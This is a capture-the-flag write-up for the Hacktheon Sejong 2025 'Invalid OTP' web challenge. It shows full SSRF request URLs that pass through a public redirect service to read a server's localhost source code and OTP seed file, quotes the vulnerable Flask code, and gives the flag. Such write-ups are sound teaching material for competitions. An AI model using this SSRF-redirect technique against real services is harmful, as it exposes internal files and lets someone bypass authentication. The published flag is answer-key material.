Bỏ qua

Invalid OTP

Introduction

Hacktheon Sejong 2025

Category: Web

Write-up date: 07/05/2025

A vulnerability has been discovered in the OTP implementation.

Successfully authenticate and find the hidden flag in the email

Flag format: FLAG{_}

Point: normal

SSRF

In the login form, it's get image form the endpoint /image_render. The endpoint has a url parameter that accept everything without strict validation. The endpoints allow access to the localhost via redirect service like 307.r3dir.me redirect. http://hacktheon2025-challs-alb-1354048441.ap-northeast-2.elb.amazonaws.com:39406/image_render?url=https://307.r3dir.me/--to/?url=http://localhost/

localhost.png

When accessing the localhost, the internal directory structure review. Using the same SSRF, we can easily access all the functions that the web uses to handle endpoints.

http://hacktheon2025-challs-alb-1354048441.ap-northeast-2.elb.amazonaws.com:39406/image_render?url=https://307.r3dir.me/--to/?url=http://localhost/app.py

source_code.png

Pseudo RNG

When a user tries to log in, the website requests username and password credentials of user hardcoded in the source code of otp.py. Then, they will generate PRNG seed and put it in otp_seeds.json. Using SSRF from earlier, we can extract the seed from otp_seed.json

otp.png

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "GET":
        return render_template('login.html')

    username = request.form.get('user_id')
    password = request.form.get('password')

    if username in users and users[username]["password"] == password:
        session_id, _ = get_session_id()
        session['user'] = username
        session['session_id'] = session_id
        session['seed'] = int(time.time()) + random.randint(1000, 9999)
        session['created_at'] = time.time()
        session['otp_check'] = False

        seeds = load_seeds()
        seeds[session_id] = {
            "seed": session['seed'],
            "created_at": session['created_at']
        }
        save_seeds(seeds)

        return redirect_with_alert("Login successful.", "/otp")
    else:
        flash("Invalid credentials.")
        return redirect("/login")

Continue to check otp function. In the code they generate otp two times, one in print("Test OTP : ", requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2)), and another is actual expected_otp. So to match otp with websites, we have to generate otp two times and submit the last one

img.png

@app.route('/otp', methods=['GET', 'POST'])
def otp():
    if 'user' not in session:
        return "Please login first."

    if request.method == "GET":
        return render_template('otp.html')

    session_id = session['session_id']
    try:
        print("Test OTP : ", requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2))

        response = requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2)
        if response.status_code != 200:
            return "Failed to generate OTP."

        expected_otp = response.json().get("otp")
    except:
        return "Failed to generate OTP."

    otp = request.form.get('otp')
    time.sleep(5)  # burte force protection
    if otp == expected_otp:
        session['otp_check'] = True
        session['flag'] = open("/FLAG", "r").read()
        return redirect_with_alert("OTP verification successful.", "/")
    else:
        flash("Invalid OTP.")
        return redirect("/otp")

FLAG: FLAG{55rf_byp455_0tp_prn9_345y_cr4ck3d}